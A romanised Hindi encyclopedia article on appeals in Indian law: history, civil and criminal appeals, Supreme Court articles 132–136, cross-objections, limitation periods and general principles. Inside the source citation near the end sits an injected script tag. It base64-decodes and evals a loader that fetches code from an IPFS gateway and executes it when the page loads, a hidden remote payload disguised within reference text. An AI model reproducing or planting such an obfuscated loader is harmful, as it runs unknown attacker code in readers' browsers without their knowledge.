अपील
apil 'apil' shabd moolat: aangreji ka hai jisamean yadyapi usake kee arth haian tathapi hiandi mean usaka prayog avedanapatr ke ashay mean hota hai jo kisi hetu ya vad ko niche ke nyayadhish ya nyayadhikaran se hatakar uchchatar nyayadhish ya nyayadhikaran ke samaksh, niche ke nyayadhish ya nyayadhikaran nirnay par punarvichar ke lie, prastut kiya jata hai. kisi hetu ya vad ke niche ke nyayadhish ya nyayadhikaran se hatakar uchchatar nayayadhish ya nyayadhish ke samaksh prastut karana char vibhijh pranaliyoan dvara hota hai--
(1) apil dvara,
(2) punarikshan dvara,
(3) lekh dvara, tatha
(4) nirdesh ki karravaee dvara. punaravalokan ki karravaee dvara kisi nyayadhish ya nyayadhikaran ke nirnay ka punarvichar usi nyayadhish ya nyayadhish dvara bhi ho sakata hai.
apil aur punarikshan mean aantar yah hai ki punarikshan uchchatar nyayalay ke svavivek par sadaiv nirbhar rahata hai aur adhikar ya svatv ke roop mean usaki maang nahian ki ja sakati. uchchatar nyayalay punarikshan isi adhar par viyukt kar sakata hai ki niche ke nyayalay dvara sar roop mean nyay ho chuka hai chahe vah nirnay vidhi ke pratikool hi hua ho. parantu apil aise kisi adhar par viyukt nahian ki ja sakati kyoanki apil ka, ek bar svikar ho jane par, nirnay vidhi ke anusar kiya jana tab tak anivary hai jab tak apil karaneka adhikar denevalie samavidhi mean koee viparit upabandh n ho.
apil bharat ki lekhapranali se anek roopoan mean bhijh hai. lekh ki karravaee keval uchch nyayalayoan tatha uchchatam nyayalay mean ho sakati hai jab ki apil uchch nyayalayoan tatha uchchatam nyayalay ke atirikt any nyayalayoan ya nyayadhikaran mean bhi ho sakati hai. lekh uchch nyayalay ki adhikaran shakti ke aantargat is hetu nikala jata hai ki niche ke nyayalay, nyayadhikaran, shasan ya usake adhikarigan apane kshetradhikar ke bahar kam n karean ya sarvajanik prayojan ke lie die hue kshetradhikar ka prayog karana asvikar n karean, athava unake nirnay pratyaksh roop se desh ki vidhi ke pratikool n hone pavean tatha ve apana kartavyapalan uchit riti se karean. apil is prakar simabaddh nahian hai. apil sabhi prashnoan ko lekar ho sakati hai---prashn chahe tathy ka ho chahe vidhi ka. dvitiy apil keval vidhi ke prashnoan tak hi simit rahati hai.
apil aur nirdesh mean yah bhed hai ki nirdesh ki yachana niche ke nyayalay dvara uchchtar nyayalay se ki jati hai taki vidhi ya pratha ke kisi aise prashn ka, jisake sanbandh mean niche ke nyayalay ko yuktiyukt sandeh ho, uchchatar nyayalay dvara nirnay kara liya jae.
itihas
aangreji samany vidhi mean apil ke lie koee upabandh nahian tha. parantu samany vidhi nyayalayoan ki galatiyaan trutilekh ke madhyam se kiangs beanch nyayalay dvara sudhari jae sakati thian. trutilekh keval vidhi ke prashn par hota tha, tathy ke prashn par nahian.
parantu roman vidhi mean apil ke lie upabandh tha. ianglaid mean apil ki karravaee roman vidhi se li gee aur aangreji vidhi mean usaka samavesh un vadoan mean hua jinaka nirnay suniti kshetradhikar ke aantargat lard chaansalar dvara athava dharm ya naukadhikaran nyayalayoan dvara hota tha. bad mean, samavidhi ne apil ke adhikar ko, samany vidhi tatha any kshetradhikar ke aantargat honevale donoan prakar ke vadoan mean, niyamit roop diya.
prachin bharat mean, jab vivad kam hote the, raja svayan prajae ke vivadoan ka nipatara karata tha. us samay apil ka prashn nahian tha kyoanki raja nyay ka srot tha. parantu raja ke nyayalay ke sath sath lokapriy nyayalay hua karate the, bad mean raja ne svayan niche ke nyayalayoan ki sthapana ki. lokapriy nyayalay ya niche ke nirnay ke viruddh apil raja ke samaksh ho sakati thi (dr. 'ivolyooshan aauv ianglish l aau', en.si.sen gupta, prishth 45).
mugal kal mean vyavaharavadoan ki apil sadar divani adalat mean tatha dandavadi ki apil nizam--e--adalat mean hoti thi. parantu sanh 1857 ee. ke asaphal svatantray yuddh ke pashchath jab british rajy ne bharat ka shasan eest iandiya kanpani se apane hath mean liya, sadar divani adalat tatha nizam-e-adalat ka unmoolan ho gaya aur unaka kshetradhikar kalakatta, banbee tatha madras sthit mahanagar-uchch-nyayalayoan ko de diya gaya. bad mean bharat ke vibhinn praantoan mean uchch nyayalayoan ki sthapana huee.
apil ke prakar
apil samanyat: do prakar ki hoti hai---
pratham apil ya dvitiy. katipay vadoan mean tritiy apil bhi ho sakati hai. pratham apil aranbhik nyayalay ke nirnay ke sanbandh mean uchchatar nyayalay mean hoti hai.
dvitiy apil--apil nyayalay ke nirnay ke sanbandh mean shreshthatam adhikari ke samaksh hoti hai.
vyavahar apil
vyavahar vadoan mean nyayalay ke samast adesh do bhagoan mean vibhajit hote haian--'ajnapti' tatha adesh'. ajnapti se tatpary us abhinirnayan se hai jisake dvara, jahaan tak abhinirnayan denevale nyayalay ka sanbandh hai, vad ya vadanuroop any aranbhik karravaee mean nihit vivadagrast sab ya kisi ek vishay ke sanbandh mean, vibhijh pakshoan ke adhikaroan ka aantim roop se nivaran hota hai (dhara 2 (2) vyavahar-prakriya-sanhita). adesh se tatpary vyavahar nyayalay ke aise pratyek vinishchay se hai jae ajnapti ki shreni mean nahian ata (dhara 2 (14), vyavahar-prakriya-sanhita). adesh ke virooddh keval ek apil ho sakati hai.
pratham apil vyavahar
prakriyasanhita ki dhara 96 ke aantargat kisi ajnapti ke viruddh bad ke moolyanusar uchch nyayalay ya jila nyayadhish ke samaksh hoti hai. pratham apil mean tathy tatha vidhi ke sabhi prashnoan par vichar ho sakata hai. pratham apil nyayalay ko parikshan nyayalay ki samast shaktiyaan prapt haian. dvitiy apil, vyavahar--prakriya--sanhita ki jara 100 ke aantargat vyavaharavadoan mean ajnapti ke viruddh keval vidhi sanbandhi prashnoan par, n ki tathy ke prashn par, uchch nyayalay mean hoti hai. jab dvitiy apil ki sunavaee uchch nyayalay ke ek nyayadhish dvara hoti hai tab yah nyayadhish 'letars peteant' ya uchch nyayalay vidhaniy adhiniyam ke aantargat, usi nyayalay ke do nyayadhishoan ke khand ke samaksh ek aur apil ki anumati de sakata hai. == dand apil == dand apil sanbadhi vidhi dand--prakriya--sanhita ki dhara 404 se lekar 431 tak mean di huee hai. dand sanbandhi vadoan mean keval ek apil ho sakati hai. isaka ek hi apavad hai. jab apil nyayalay abhiyukt ko nimukt kar deta hai tab dand-prakriya-sanhita ki dhara 417 ke aantargat vimukti adesh ke viruddh dvitiy apil uchch nyayalay mean ho sakati hai.
jab jiladhish ke atirikt koee any dandanayak dand--prakriya--sanhita ki dhara 122 ke aantargat kisi vad ko svikar ya vimukt karana asvikar kar de tab usake adesh ke viruddh apil jiladhish ke samaksh ho sakati hai (dhara 406 (a) dand-prakriya-sanhita). uttar pradesh rajy ne jiladhish ke samaksh honevali is apil ka bhi unmoolan kar diya hai aur apil jiladhish ke samaksh n hokar satranyayalay mean hoti hai.
aise mamaloan ko chho dakar, jinamean parikshan nyayalay dvara hota hai, dand apil tathy tatha vidhi, donoan prashnoan par ho sakati hai. mrityu-dand-prapt vyakti ke sath parikshit vyakti ki or se ki janevali apiloan ko chho dakar, nyayasabhy dvara parikshit samast vadoan ki apil keval vidhi vishayak prashnoan kean sanbandh mean hi ho sakati hai. apil-nyayalay parikshan-nyayalay dvara die ge dandadesh ki pushti kar sakata hai athava usako ulat sakata hai, abhiyukt ko vimukt kar sakata hai, siddhadosh thahara sakata hai ya us abhiyog se mukt kar sakata hai jisake lie usaka parikshan hua tha athava dandadesh yathasthit rakhate hue sanmati badal sakata hai, parantu dandadesh ki vriddhi nahian kar sakata. vah pun: parikshan athava parikshanarth samarpan ka adesh bhi de sakata hai. (dhara 423, dand-prakriya-sanhita).
sanvidhan ke anuchchhed 132 se 136 tak ke upabandhoan ke anusar kisi uchch nyayalay ya aantim kshetradhikaravale kisi nyayadhikaran ke nirnay ke viruddh, uchchatam nyayalay mean apil ho sakati hai. anuchchhed 132 ke aantargat kisi bhi nirnay, ajnapti athava dandadesh ke viruddh apil uchchatam nyayalay mean ho sakati hai, yadi uchch nyayalay pramanit kar de ki us mamale mean sanvidhan ke nirvachan ka koee saravan vidhiprashn aantargrast hai. yadi uchch nyayalay aisa pramanapatr dena svikar kar de to uchchatam nyayalay apil ke lie vishesh ijajat de sakata hai. jahaan uchch nyayalay aisa pramanapatr de deta hai athava uchchatam nyayalay vishesh ijajat de deta hai vahaan uchchatam nyayalay ki anujna se sanvidhan ke nirvachan sanbandhi prashn ke atirikt any prashn bhi uthae jae sakate haian.
uchch nyayalay ke kisi aantim nirnay, ajnapti ya adesh apil uchchatam nyayalay mean ho sakati hai, yadi uchch nyayalay yah pramanit kar de ki (k) vivadavishay ki rashi ya mooly pratham bar ke nyayalay mean bis hajar rupe ya kisi aisi any rashi se, jo is bare mean ullikhit ki jae, kam nahian hai, athava (kh) usamean utani rashi ya mooly ki sanpatti se sanbaddh koee vad ya prashn pratyaksh ya paroksh roop mean aantagrast hai, athava (g) mamala uchchatam nyayalay mean apil ke yogy hai. yadi uchch nyayalay ka nirnay poorvavath niche ke nyayalay ke nishchay ki pushti karata hai tab uchch nyayalay ko yah aur pramanit karana hota hai ki apil mean koee saravanh vidhiprashn aantargrast hai (anuchchhed 133).
uchch nyayalay ki kisi dand karravaee mean die hue nirnay ya aantim adesh ki apil uchchatam nyayalay mean hoti hai, yadi uchch nyayalay ne apil mean abhiyukt vyakti ko mrityudandadesh diya hai; athava uchch nyayalay pramanit karata hai ki mamala uchchatam nyayalay mean apil karane yogy hai.
anuchchhed 136 ke aantargat uchchatam nyayalay ki vishesh anumati se apil ho sakati hai.
prati--apatti
jab vyavaharavad mean kisi paksh ki or se apil hoti hai tab uttaravadi ko ajnapti ke us bhag ke viruddh, jo usake viparit hai, prati-apati prastut karane ka adhikar hota hai. vah apani niji apil bhi kar sakata hai parantu prati-apil tatha prati-apatti mean yah aantar hota hai ki prati-apil to apil ke lie nirdharat avadhi ke bhitar honi chahie tatha sanbandhi samasat niyamoan ka palan avashyak haian, kiantu prati-apatti, vyavahar-prakriya-sanhita ki kramasankha 41, niyam 23 ke aantargat, apil ki sunavaee ki soochana uttaravadi dvara prapt ki jane ki tithi se 30 din ke aandar prastut ki ja sakati hai. uchchatam nyayalay mean honevali athava dandavishayak apiloan mean koee prati-apatti nahian hoti.
avadhi kalakatta, madras tatha banbee ke uchch nayayalayoan dvara, aranbhik kshetradhikar ke prayog ke aantargat di gee ajnapti ya adesh mean apil karane ki avadhi 20 din hai.
vyavaharavadoan mean apil jila nyayadhish ke samaksh ajnapti ya adesh mean tithi se 30 din ke aandar ki ja sakati hai. uchch nyayalay mean apil karane ki avadhi 30 din hai aur ek nyayadhish ki ajnapti ya adesh se do nyayadhishoan ke samaksh apil karane ki avadhi 90 din hai.
mrityudandadesh ke viruddh uchch nyayalay mean apil karane ki avadhi mrityudandadesh ki tithi se sat din hai.
uchch nyayalay ke atirikt any kisi nyayalay mean apil karane ki avadhi 30 din hai. vimukti ke adesh ke viruddh uchch nyayalay mean apil karane ki avadhi tin mas hai. shesh mamaloan mean apil karane ki avadhi 60 din hai.
uchchatam nyayalay mean apil karane ki anumati ke lie avedanapatr uchch nyayalay mean prastut karane ki avadhi 90 din hai. yadi uchch nyayalay vah pramanapatr dena asvikar kar de jisake lie prarthana ki gee hai, to asvikar kie jane ki tithi se 60 din ke aandar, uchch nyayalay mean bharatiy sanvidhan ke anuchchhed 132 ya 136 ke aantargat pramanapatr ke lie avedan diya ja sakata hai.
aise mamaloan mean jinamean uchch nyayalay ko uchchatam nyayalay mean apil karane ki anumati ya pramanapatr dene ki shakti hai, uchchatam nyayalay mean apil karane ki ijajat ke lie kisi aise avedanapatr ko aangikar nahian karata jo uchch nyayalay mean n diya jakar sidhe usako diya jata hai. apavad roop kuchh mamaloan ko chho d etadarth keval kuchh aise mamale hi apavad samajhe jate haian jinamean is adhar par avedanapatr ko asvikar karane se ghor anyay hone ki ashanka rahati hai. jahaan uchch nyayalay mean avedanapatr dene ka koee upabandh vidhi mean hanian hai vahaan sanvidhan ke anuchchhed 136 ke aantargat avedanapatr dene ki avadhi sanbaddh adesh (jisake viruddh apil honi hai) ki tithi se 80 din hai.
sadharan siddhaant---apil mean prayukt honevale sadharan siddhaant is prakar haian:
(1) apil ki karravaee samavidhi se utpann huee hai at: jab tak vidhi mean koee upabandh n ho, apil nahian ho sakati.
(2) apil vad ya any karravaee ki shrriankhala hai aur apil nyayalay ka nirnay prathamik roop se unhian paristhitioan par adharit hota hai jo niche ke nyayalay ke vinishchay ki tithi par vartaman thian. kiantu apil-nyayalay bad ki ghatanaoan par bhi dhyan de sakata hai aur niche ke nyayalay ki ajnapti ya adesh mean vadavishay ke anusar nyayochit sanshodhan kar sakata ya use hata sakata hai.
(3) apil prakriya ka vishay n hokar maulik adhikar ka vishay samajhi jati hai aur yah man liya jata hai ki apil ke adhikar ka apaharan karanevali kisi vidhi ka prayog chaloo apil ya vad mean tab tak nahian hoga jab tak avashyak roop se usako anudarshi prabhav n diya gaya ho. yadi aisa koee anudarshi prabhav nahian diya gaya hai to chahe niche ke nyayalay ke nirnay ke poorv hi vah vidhi lagoo ho chuki ho, apil ka nirnay us vidhi ke anusar hoga jo vad ya any karravaee ke aranbh ki tithi par lagoo tha.
(4) sadharanataya apil ka nirnay niche ke nyayalay mean prastut kie ge sakshy ke adhar par kiya jata hai. keval vahi naya sakshy apil nyayalay dvara svikar kiya jae sakata hai jae kisi paksh ko samuchit khoj tatha prayatn karane par bhi us samay prapt nahian ho saka tha jis samay aranbh ke nyayalay mean vad ka parikshan chal raha tha.
(5) niche ke nyayalay ki ajnapti ka apil-nyayalay ki ajnapti ya adesh mean samavesh tabhi hota hai jab vah ajnapti ya adesh apil ke sabhi mamaloan ki poori sunavaee ke bad diya jata hai, parantu jab apil kisi dosh ke karan athava kisi praranbhik apatti ke adhar par, jaise nyayalay shulk n dene par ya avadhi samapti ke karan, vimukt kar di jati hai tab aisa nahian kiya ja sakata. kiantu apil-nyayalay ki ajnapti mean parikshan nyayalay ki ajnapti ka samavesh ho jane se vad ya any karravaee upasthit karane ke avadhikal ki gati nahian rukati jab tak ki vadahetu niche ke nyayalay ke vinishchay se utpann hua hai.
(6) dand sanbandhi un mamaloan ko chho dakar jinamean apil nyayalay dandadesh mean vriddhi nahian kar sakata, apil nyayalay ko aisa koee bhi adesh dene ki shakti rahati hai jo aranbh ke nyayalay dvara diya ja sakata hai.[1]
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tika tippani aur sandarbh
- san.gran.---karapas jooris sekandam ka 'apil' shirshak lekh; vyavahar-prakriya-sanhita; dand-prakriya-sanhita.
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 141,142,143 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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